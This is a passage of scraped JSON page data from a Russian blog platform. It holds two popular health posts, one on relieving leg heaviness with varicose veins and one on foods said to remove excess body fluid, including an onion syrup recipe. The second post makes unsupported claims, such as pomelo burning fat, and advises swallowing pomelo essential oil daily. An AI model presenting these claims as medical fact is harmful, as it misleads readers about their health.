ПРАВИЛЬНО\x3c/strong>\x3c/span>\x3c/p>\n\x3cp>Чтобы днем ноги не болели, об этом нужно думать ночью. Положи под ножки подушку, чтобы они были на возвышении. Это поможет внять усталость и нормализует кровообращение.\x3c/p>\n\x3cp>\x3cimg src=\"//mtdata.ru/u23/photo0277/20373944402-0/original.jpg#20373944402\" alt=\"как снять усталость ног\" />\x3c/p>\n\x3cp>Для сна идеально подходят большие квадратные подушки: ножкам на них удобно.\x3c/p>\n\x3cp>\x3cimg src=\"//mtdata.ru/u24/photo856E/20597017251-0/original.png#20597017251\" alt=\"\" /> В народной медицине в качестве средства против отеков и усталости ног используют пиявок. Считается, что их слюна очень благотворно влияет на сосуды.\x3c/p>\n\x3cp>\x3cspan>\x3cstrong>СКАЖИ «НЕТ» КАБЛУКАМ\x3c/strong>\x3c/span>\x3c/p>\n\x3cp>К сожалению, если ты страдаешь варикозным расширением вен, тебе придется отказаться от ношения каблуков летом. Нет, ты можешь одеть каблуки на какое-то мероприятие или вечеринку, но откажись от постоянного пребывания в подобной обуви.\x3c/p>\n\x3cp>К сожалению, туфли и босоножки на каблуках затрудняют кровообращение, а также заставляют ноги находиться в постоянном состоянии напряжения, что только усугубляет ситуацию.\x3c/p>\n\x3cp>\x3cspan>\x3cstrong>ВАННОЧКИ ИЗ КЕДРА\x3c/strong>\x3c/span>\x3c/p>\n\x3cp>Чтобы в ногах не ощущалось дискомфорта, через день делай ванночки для ног с морской солью и эфирным маслом кедра: на столовую ложку соли 2 капли масла. Кедр обладает целебными свойствами и быстренько приведет ноги в порядок.\x3c/p>\n\x3cp>\x3cimg src=\"//mtdata.ru/u25/photoA7B2/20043162949-0/original.jpg#20043162949\" alt=\"уход за ногами при варикозе\" />\x3c/p>\n\x3cp>Если твои ноги устают ежедневно, сделай кедровую ванночку ритуалом перед сном. Например, смотри вечерний фильм и параллельно балуй ножки. Такая процедура не только облегчит ощущения от варикоза, но и будет отлично ухаживать за пяточками, сэкономив твое время на педикюр.\x3c/p>\n\x3cp>\x3cimg src=\"//mtdata.ru/u24/photo7C32/20150871553-0/original.png#20150871553\" alt=\"\" /> Если в течение дня ты ощущаешь чувство жжения в ногах, сполосни их холодной водой и протри кусочком льда.\x3c/p>\n\x3cp>\x3cspan>\x3cstrong>ОХЛАЖДАЮЩИЕ ГЕЛИ\x3c/strong>\x3c/span>\x3c/p>\n\x3cp>Также эффективно в течение дня облегчат все неприятные ощущения специальные охлаждающие гели и кремы для ног. Их можно использовать по мере необходимости и помимо снятия неприятных ощущений, они отлично ухаживают за кожей.\x3c/p>\n\x3cp>Обычно их действие основывается на охлаждающем компоненте вроде ментола и растительных компонентов, которые укрепляют стенки сосудов.         \x3c/p>","comments_count":0,"marks_count":1,"likes":{"count":1,"user_likes":0,"can_like":0,"marks_pluses":1,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[{"id":100,"count":1}]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://avto-moto.mirtesen.ru/blog/43159910066","tags":["тяжесть в ногах","красота","Уход за ногами","здоровье","варикоз"],"date":1436242448,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20820090100,"photo_original":"https://mtdata.ru/u23/photo13F1/20820090100-0/original.jpg","width":1280,"height":854}}],"group":{"display_name":"Авто-Мото-Блог","url":"https://avto-moto.mirtesen.ru","photo_original":"//mtdata.ru/u30/group3691/d27b2d1071f3970bc9e4ce40764aca97-0/__logo.jpeg","id":30007289357,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1239125385624},"canonical_url":"https://avto-moto.mirtesen.ru/blog/43159910066","topic":"health","title":"Как облегчить тяжесть ног в жару, если у тебя варикоз","preview_text":"Летом, как никогда в другое время, под вечер особо остро чувствуется усталость ног. Особенно, когда жарко. В первую очередь реакцию ног на высокие температуры чувствуют люди, страдающие от варикозного расширения вен.  \nВарикоз – заболевание не из приятных. Так, помимо некрасивого рисунка из вен на","post_type":"post","formattedDates":{"iso":"2015-07-07T04:14:08.000Z","ver1":"7 июля, 7:14","ver2":"07.07.2015 в 7:14","ver3":"7 июля, 7:14"},"images":[{"main":true,"url":"https://mtdata.ru/u23/photo13F1/20820090100-0/original.jpg","width":1280,"height":854}],"videos":[],"shared_post":null,"mentionedPersons":null},{"id":43607398855,"from_id":886934317,"from":{"id":886934317,"display_name":"Наталья","url":"https://mirtesen.ru/people/886934317","photo_original":"https://mtdata.ru/u25/photo4E8C/20731289649-0/original.jpeg","isAuthenticAccount":false,"sex":1},"owner_id":-30355987540,"text":"\x3cp>Если тебя часто беспокоят отеки, тяжесть в ногах и ожирение — это первый симптом того, что в твоем организме скапливается чрезмерное количество жидкости. В нашей статье мы расскажем тебе про продукты, которые помогут тебе избавиться от этой проблемы!\x3c/p>\n\x3cp>\x3cimg src=\"http://mtdata.ru/u24/photoED2A/20748963743-0/big.jpeg#20748963743\" alt=\"\" width=\"480\" height=\"309\" />\x3c/p>\n\x3cp>С этой неприятной проблемой, к сожалению, сталкиваются многие, особенно ей подвержены женщины. Она может быть вызвана жарой, малоподвижным образом жизни, гормональными изменениями в организме, часто симптомы задержки жидкости проявляются в период \x3ca title=\"менструации\" href=\"http://steptohealth.ru/neregulyarnyj-tsikl-v-chem-delo/\" target=\"_blank\">менструаций\x3c/a> у женщин.\x3c/p>\n\x3cp>В нашей статье мы расскажем тебе о том, какие продукты помогут тебе избавить организм от избытка жидкости, и о том, как быстро и легко добиться видимого результата.\x3c/p>\n\x3ch2>Прежде всего, несколько советов\x3c/h2>\n\x3cp>\x3cspan style=\"color: #000000;\">\x3ca title=\"задержка жидкости\" href=\"http://steptohealth.ru/10-sovetov-kak-predotvratit-zaderzhku-zhidkosti-v-organizme/\" target=\"_blank\">\x3cspan style=\"color: #000000;\">Задержку жидкости в организме\x3c/span>\x3c/a> может спровоцировать ряд факторов… Мы предлагаем несколько советов, которые помогут тебе справиться с этой проблемой:\x3c/span>\x3c/p>\n\x3cul>\n\x3cli>\x3cspan style=\"color: #000000;\">\x3cstrong>Избегай соли\x3c/strong>, особенно пищевой столовой соли. Ее можно заменить на морскую, но тоже только в небольш\x3c/span>их количествах.\x3c/li>\n\x3cli>\x3cstrong>Пей много воды\x3c/strong> в течение дня между приемами пищи, особенно в период жары, а также после соленого и мучного.\x3c/li>\n\x3cli>\x3cstrong>Занимайся физкультурой\x3c/strong>. Ежедневные физические упражнения — ключ к здоровому образу жизни. Они улучшают \x3cspan>кровообращение\x3c/span> и обеспечивают движение жидкости в нашем организме.\x3c/li>\n\x3c/ul>\n\x3cp>Если ты столкнулась с проблемой задержки жидкости, обязательно обратись за консультацией к врачу, потому что \x3cstrong>это может в последствии негативно отразиться на здоровье печени, сердца и почек.\x3c/strong> Не забывай: только специалист сможет прописать тебе индивидуальный курс лечения!\x3c/p>\n\x3cp>Также тебе следует помнить о том, что \x3cstrong>некоторые лекарства\x3c/strong> могут также спровоцировать задержку жидкости в организме.\x3c/p>\n\x3cp>Так какие же продукты помогают выводить излишки жидкости из организма? Знакомься:\x3c/p>\n\x3ch2>Помело\x3c/h2>\n\x3cp>\x3cimg src=\"http://mtdata.ru/u25/photo91BE/20225732005-0/big.jpeg#20225732005\" alt=\"\" width=\"228\" height=\"221\" />\x3c/p>\n\x3cp>Помело — вкусный и полезный фрукт, прекрасно помогающий вывести из организма излишки жидкости. Он также придет на помощь всем тем, кто хочет очистить организм, восстановить работу печени и похудеть, потому что этот экзотический фрукт обладает жиросжигающим свойством.\x3c/p>\n\x3cp>Ты можешь есть помело в чистом виде или пить свежевыжатый сок. Если тебе не нравится его горьковатый привкус, используй в качестве подсластителя капельку меда.\x3c/p>\n\x3cp>Также ты можешь включить в рацион \x3cstrong>эфирное масло помело\x3c/strong>, которое продается в аптеке. Каждое утро принимай одну ложечку меда с добавленными в него несколькими каплями масла — и результат не заставит долго ждать!\x3c/p>\n\x3cp> \x3c/p>\n\x3cp> \x3c/p>\n\x3ch2>Арбуз\x3c/h2>\n\x3cp>Арбуз известен высоким содержанием воды и обладает мочегонным эффектом, поэтому он считается отличным диуретиком. Он более чем на 90 % состоит из воды и в то же время содержит всего 20 калорий на 100 гр.\x3c/p>\n\x3cp>Кроме того, арбуз богат витаминами и полезными веществами: \x3cstrong>он содержит \x3ca title=\"витамин С\" href=\"http://steptohealth.ru/vitamin-s-ili-sekretnoe-oruzhie-v-borbe-s-zhirom/\" target=\"_blank\">витамин С\x3c/a>, витамины группы В, калий и ликопин — пигмент, который помогает предупредить возникновение рака.\x3c/strong>\x3c/p>\n\x3cp>\x3cstrong>Однако помни: не стоит есть арбуз во время обеда или в качестве десерта, потому что высокое содержание в нем воды и сахара может негативно сказаться на пищеварении.\x3c/strong> Чтобы в полной мере насладиться полезными свойствами арбуза, мы советуем тебе есть его утром натощак или в перерывах между приемами пищи, не мешая его с другими продуктами.\x3c/p>\n\x3cp>Ты можешь есть арбуз в чистом виде, порезанный на кусочки, или же приготовить мусс из мякоти арбуза, украсив его колечком лимона и листочком мяты. Еще один секрет: \x3cstrong>не вытаскивай из арбуза семечки, потому что они также очень полезны,\x3c/strong> потому что содержат витамин Е, а он помогает при заболеваниях простаты (предстательной железы).\x3c/p>\n\x3cp>\x3ca href=\"http://steptohealth.ru/wp-content/uploads/2014/10/arbuz-Marinate-me-Baby.jpg?5d4dbd\">\x3cimg style=\"display: inline;\" src=\"http://mtdata.ru/u23/photo7220/20264010210-0/original.jpg#20264010210\" alt=\"арбуз-Marinate-me-Baby\" width=\"500\" height=\"281\" data-original=\"http://steptohealth.ru/wp-content/uploads/2014/10/arbuz-Marinate-me-Baby.jpg\" />\x3c/a>\x3c/p>\n\x3ch2>Репчатый лук\x3c/h2>\n\x3cp>\x3cstrong>Лук известен своими лекарственными свойствами, в частности он способствует выведению жидкости из организма. Кроме того, он придет на помощь от насморка на ранней стадии простуды.\x3c/strong>\x3c/p>\n\x3cp>Те, кто любит репчатый лук, могут добавлять его в салат и во многие другие блюда. Те же, кто, наоборот, не едят лук в чистом виде из-за его горького вкуса, могут приготовить отвар из лука и пить его в течение дня. А самый лучший способ таков: чтобы не готовить отвары каждый день, сделай сама или купи в аптеке \x3cstrong>сироп на основе репчатого лука\x3c/strong>.\x3c/p>\n\x3cp>\x3cimg src=\"http://mtdata.ru/u23/photo96BB/20656566421-0/big.jpeg#20656566421\" alt=\"\" width=\"464\" height=\"302\" />\x3c/p>\n\x3ch2>Как приготовить сироп из лука?\x3c/h2>\n\x3cp>Сироп на основе репчатого лука, который поможет тебе справиться с задержкой жидкости в организме, совсем несложно приготовить дома самостоятельно.\x3c/p>\n\x3cp>\x3cstrong>Тебе всего лишь понадобятся:\x3c/strong>\x3c/p>\n\x3cul>\n\x3cli>250 гр лука\x3c/li>\n\x3cli>Тростниковый (коричневый) сахар или мед\x3c/li>\n\x3cli>500 гр воды\x3c/li>\n\x3c/ul>\n\x3cp>\x3cstrong>Рецепт:\x3c/strong>\x3c/p>\n\x3cp>Режем репчатый лук на кусочки (чем меньше и тоньше они будут — тем лучше), бросаем их в кастрюлю воды, добавляем тростниковый сахар и варим на медленном огне 20 минут, временами помешивая отвар деревянной ложкой.\x3c/p>\n\x3cp>В завершение процеживаем сироп и хорошенько его перемешиваем. Хранить получившийся сироп рекомендуется в закрытых стеклянных бутылочках, желательно в холодильнике.\x3c/p>\n\x3cp>\x3cstrong>Как принимать сироп?\x3c/strong>\x3c/p>\n\x3cp>Принимай по одной столовой ложке сиропа как минимум три раза в день.\x3c/p>\n\x3cp>\x3ca href=\"http://steptohealth.ru/zaderzhka-zhidkosti-v-organizme-kakie-produkty-upotreblyat/\" target=\"_blank\">источник\x3c/a>\x3c/p>","comments_count":5,"marks_count":35,"likes":{"count":35,"user_likes":0,"can_like":0,"marks_pluses":35,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[{"id":100,"count":35}]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://yaszdorov.mirtesen.ru/blog/43607398855","tags":["Диеты","тяжесть в ногах","ожирение","очистить организм","Народные средства","похудеть","Здоровый образ жизни","отеки","диуретики","мочегонное"],"date":1424231223,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20748963743,"photo_original":"https://mtdata.ru/u24/photoED2A/20748963743-0/original.jpeg","width":500,"height":322}}],"group":{"display_name":"Я ЗДОРОВ!","url":"https://yaszdorov.mirtesen.ru","photo_original":"//mtdata.ru//u5/photo3609/20377900456-0/original.jpeg","id":30355987540,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1286219674254},"canonical_url":"https://yaszdorov.mirtesen.ru/blog/43607398855","topic":"health","title":"Задержка жидкости в организме: какие продукты употреблять?","preview_text":"Если тебя часто беспокоят отеки, тяжесть в ногах и ожирение — это первый симптом того, что в твоем организме скапливается чрезмерное количество жидкости. В нашей статье мы расскажем тебе про продукты, которые помогут тебе избавиться от этой проблемы! \nС этой неприятной проблемой, к сожалению,","post_type":"post","formattedDates":{"iso":"2015-02-18T03:47:03.000Z","ver1":"18 февраля, 6:47","ver2":"18.02.2015 в 6:47","ver3":"18 февр., 6:47"},"images":[{"main":true,"url":"https://mtdata.ru/u24/photoED2A/20748963743-0/original.jpeg","width":500,"height":322}],"videos":[],"shared_post":null,"mentionedPersons":null}],"tag":"тяжесть в ногах","tagId":80029503088,"hasMore":true,"offset":1,"isGeo":false},"reasonsForShowing":{},"channelMain":{"items":[],"nextOffset":0,"hasMoreItems":true,"currentUserPostId":null,"page":0},"richPostEditor":{"id":null,"title":"","text":"","channel":null,"canSelectChannel":false,"canSubmit":false},"indexChannel":{"items":[],"nextOffset":0,"hasMoreItems":true},"videoList":{},"videoOne":{},"videoRecommendations":{},"channelActions":{},"testDraftJs":{},"channelEditor":{"tab":"info","key":0,"isOpen":false,"isReady":true,"inProcess":false,"channelId":null,"isDirty":false,"header":{"title":"","avatar":null},"info":{"id":null,"name":"","title":"","description":"","isNameAvailable":true,"errors":{}},"content":{"tags":[],"tagSuggestions":[],"geoTags":[],"geoTagSuggestions":[]},"telegramEdit":{"importKey":null,"name":"","tags":[],"tagSuggestions":[],"errors":{}},"telegramList":{"imports":[]}},"channelCoverEditor":{"isOpen":false,"mode":"add","imageSaved":false},"channelAvatarEditor":{"isOpen":false},"myChannels":{"channels":[],"subscriptions":{"items":[],"nextOffset":0,"hasMore":true,"subscriptionsNum":0}},"channelHeaderTags":{"isOpen":false,"searchResults":[],"geoTags":[],"tags":[],"searchInProccess":false,"geoPosition":null,"headerTags":[]},"searchResults":{"query":"","activeTab":"posts","isLoading":false,"posts":{"results":[],"page":0,"hasMore":true},"geo":{"results":[],"page":0,"hasMore":true},"channels":{"results":[],"page":0,"hasMore":true}}}